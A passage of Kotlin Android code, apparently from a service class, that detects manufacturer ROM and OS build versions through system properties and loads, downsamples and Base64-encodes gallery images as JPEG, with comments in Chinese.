brand.contains("vivo") || brand.contains("iqoo") -> {
|
|
|
|
|
|
getSystemProperty("ro.vivo.os.version") ?:
|
|
|
|
|
|
getSystemProperty("ro.vivo.product.version") ?: "未知版本"
|
|
|
|
|
|
}
|
|
|
|
|
|
// 三星One UI版本
|
|
|
|
|
|
brand.contains("samsung") -> {
|
|
|
|
|
|
getSystemProperty("ro.build.version.oneui") ?:
|
|
|
|
|
|
getSystemProperty("ro.build.version.sem") ?: "未知版本"
|
|
|
|
|
|
}
|
|
|
|
|
|
// 魅族Flyme版本
|
|
|
|
|
|
brand.contains("meizu") -> {
|
|
|
|
|
|
getSystemProperty("ro.build.flyme.version") ?: "未知版本"
|
|
|
|
|
|
}
|
|
|
|
|
|
else -> {
|
|
|
|
|
|
// 尝试获取通用版本信息
|
|
|
|
|
|
getSystemProperty("ro.build.version.incremental") ?:
|
|
|
|
|
|
getSystemProperty("ro.build.id") ?: "未知版本"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "📱 ROM版本: $romVersion (Brand: $brand)")
|
|
|
|
|
|
romVersion
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 获取ROM版本失败", e)
|
|
|
|
|
|
"未知版本"
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 检查系统属性是否存在
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun hasSystemProperty(key: String): Boolean {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val property = getSystemProperty(key)
|
|
|
|
|
|
!property.isNullOrBlank()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 获取系统属性值
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun getSystemProperty(key: String): String? {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val clazz = Class.forName("android.os.SystemProperties")
|
|
|
|
|
|
val method = clazz.getMethod("get", String::class.java)
|
|
|
|
|
|
val result = method.invoke(null, key) as? String
|
|
|
|
|
|
result?.takeIf { it.isNotBlank() }
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 获取系统属性失败: $key", e)
|
|
|
|
|
|
null
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 🆕 获取OS构建版本号(如1.0.19.0.UMCCNXM)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun getOSBuildVersion(): String {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val brand = android.os.Build.BRAND.lowercase()
|
|
|
|
|
|
|
|
|
|
|
|
// 🔧 针对小米设备的特殊处理
|
|
|
|
|
|
if (brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco")) {
|
|
|
|
|
|
// 检查是否为澎湃OS
|
|
|
|
|
|
val hyperosProp = getSystemProperty("ro.mi.os.version.incremental")
|
|
|
|
|
|
if (!hyperosProp.isNullOrBlank()) {
|
|
|
|
|
|
Log.d(TAG, "📱 检测到澎湃OS,版本: $hyperosProp")
|
|
|
|
|
|
return hyperosProp
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// MIUI设备特定属性
|
|
|
|
|
|
val miuiIncrementalProps = listOf(
|
|
|
|
|
|
"ro.build.version.incremental",
|
|
|
|
|
|
"ro.product.mod_device",
|
|
|
|
|
|
"ro.build.display.id"
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
for (property in miuiIncrementalProps) {
|
|
|
|
|
|
val version = getSystemProperty(property)
|
|
|
|
|
|
if (!version.isNullOrBlank() && version.length > 3) {
|
|
|
|
|
|
// 🔧 修复澎湃OS版本号格式问题:移除可能的前缀
|
|
|
|
|
|
val cleanVersion = when {
|
|
|
|
|
|
version.startsWith("V") && version.contains(".") -> {
|
|
|
|
|
|
// 如果是V816.0.19.0.UMCCNXM格式,提取.后面的部分
|
|
|
|
|
|
val dotIndex = version.indexOf('.')
|
|
|
|
|
|
if (dotIndex > 1) {
|
|
|
|
|
|
version.substring(dotIndex + 1)
|
|
|
|
|
|
} else version
|
|
|
|
|
|
}
|
|
|
|
|
|
else -> version
|
|
|
|
|
|
}
|
|
|
|
|
|
Log.d(TAG, "📱 小米设备OS构建版本: $cleanVersion (原始: $version, 来源: $property)")
|
|
|
|
|
|
return cleanVersion
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 其他品牌设备的通用属性获取
|
|
|
|
|
|
val buildProperties = listOf(
|
|
|
|
|
|
"ro.build.version.incremental", // 增量版本号
|
|
|
|
|
|
"ro.build.display.id", // 完整构建显示ID
|
|
|
|
|
|
"ro.build.id", // 构建ID
|
|
|
|
|
|
"ro.modversion", // 模组版本
|
|
|
|
|
|
"ro.build.version.security_patch", // 安全补丁版本
|
|
|
|
|
|
"ro.build.description", // 构建描述
|
|
|
|
|
|
"ro.product.build.version.incremental" // 产品构建增量版本
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
// 按优先级尝试获取版本信息
|
|
|
|
|
|
for (property in buildProperties) {
|
|
|
|
|
|
val version = getSystemProperty(property)
|
|
|
|
|
|
if (!version.isNullOrBlank() && version.length > 3) {
|
|
|
|
|
|
Log.d(TAG, "📱 获取到OS构建版本: $version (来源: $property)")
|
|
|
|
|
|
return version
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 如果都获取不到,使用Build类的相关信息
|
|
|
|
|
|
val fallbackVersion = when {
|
|
|
|
|
|
android.os.Build.DISPLAY.isNotBlank() -> android.os.Build.DISPLAY
|
|
|
|
|
|
android.os.Build.ID.isNotBlank() -> android.os.Build.ID
|
|
|
|
|
|
else -> android.os.Build.VERSION.INCREMENTAL
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.d(TAG, "📱 使用fallback OS构建版本: $fallbackVersion")
|
|
|
|
|
|
fallbackVersion.ifBlank { "未知版本" }
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 获取OS构建版本失败", e)
|
|
|
|
|
|
android.os.Build.VERSION.INCREMENTAL.ifBlank { "未知版本" }
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// =============== 图片加载与压缩工具 ===============
|
|
|
|
|
|
private fun loadImageAsJpegBase64(contentUri: String, maxWidth: Int, maxHeight: Int, quality: Int): String? {
|
|
|
|
|
|
return try {
|
|
|
|
|
|
val uri = android.net.Uri.parse(contentUri)
|
|
|
|
|
|
val resolver = service.contentResolver
|
|
|
|
|
|
|
|
|
|
|
|
// 先读取尺寸
|
|
|
|
|
|
val boundsOptions = android.graphics.BitmapFactory.Options().apply { inJustDecodeBounds = true }
|
|
|
|
|
|
resolver.openInputStream(uri)?.use { input ->
|
|
|
|
|
|
android.graphics.BitmapFactory.decodeStream(input, null, boundsOptions)
|
|
|
|
|
|
}
|
|
|
|
|
|
val (srcW, srcH) = boundsOptions.outWidth to boundsOptions.outHeight
|
|
|
|
|
|
if (srcW <= 0 || srcH <= 0) {
|
|
|
|
|
|
Log.w(TAG, "🖼️ 无法解析图片尺寸: $contentUri")
|
|
|
|
|
|
return null
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 计算采样率
|
|
|
|
|
|
val inSample = calculateInSampleSize(srcW, srcH, maxWidth, maxHeight)
|
|
|
|
|
|
val decodeOptions = android.graphics.BitmapFactory.Options().apply {
|
|
|
|
|
|
inSampleSize = inSample
|
|
|
|
|
|
inPreferredConfig = android.graphics.Bitmap.Config.RGB_565
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
val bitmap = resolver.openInputStream(uri)?.use { input ->
|
|
|
|
|
|
android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions)
|
|
|
|
|
|
} ?: return null
|
|
|
|
|
|
|
|
|
|
|
|
val output = java.io.ByteArrayOutputStream()
|
|
|
|
|
|
bitmap.compress(android.graphics.Bitmap.CompressFormat.JPEG, quality.coerceIn(30, 95), output)
|
|
|
|
|
|
bitmap.recycle()
|
|
|
|
|
|
|
|
|
|
|
|
val bytes = output.toByteArray()
|
|
|
|
|
|
if (bytes.size > maxGalleryImageSize) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 压缩后图片仍过大(${bytes.size}B),尝试再次降低质量")
|
|
|
|
|
|
val retryOut = java.io.ByteArrayOutputStream()
|
|
|
|
|
|
val retryBitmap = resolver.openInputStream(uri)?.use { input ->
|
|
|
|
|
|
android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions)
|
|
|
|
|
|
} ?: return null
|
|
|
|
|
|
retryBitmap.compress(android.graphics.Bitmap.CompressFormat.JPEG, 60, retryOut)
|
|
|
|
|
|
retryBitmap.recycle()
|
|
|
|
|
|
val retryBytes = retryOut.toByteArray()
|
|
|
|
|
|
if (retryBytes.size > maxGalleryImageSize) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 二次压缩后仍过大(${retryBytes.size}B),放弃发送: $contentUri")
|
|
|
|
|
|
return null
|
|
|
|
|
|
}
|
|
|
|
|
|
return android.util.Base64.encodeToString(retryBytes, android.util.Base64.NO_WRAP)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
android.util.Base64.encodeToString(bytes, android.util.Base64.NO_WRAP)
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 加载/压缩图片失败: $contentUri", e)
|
|
|
|
|
|
null
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun calculateInSampleSize(srcW: Int, srcH: Int, reqW: Int, reqH: Int): Int {
|
|
|
|
|
|
var inSampleSize = 1
|
|
|
|
|
|
var height = srcH
|
|
|
|
|
|
var width = srcW
|
|
|
|
|
|
if (height > reqH || width > reqW) {
|
|
|
|
|
|
var halfHeight = height / 2
|
|
|
|
|
|
var halfWidth = width / 2
|
|
|
|
|
|
while ((halfHeight / inSampleSize) >= reqH && (halfWidth / inSampleSize) >= reqW) {
|
|
|
|
|
|
inSampleSize *= 2
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
return inSampleSize.coerceAtLeast(1)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|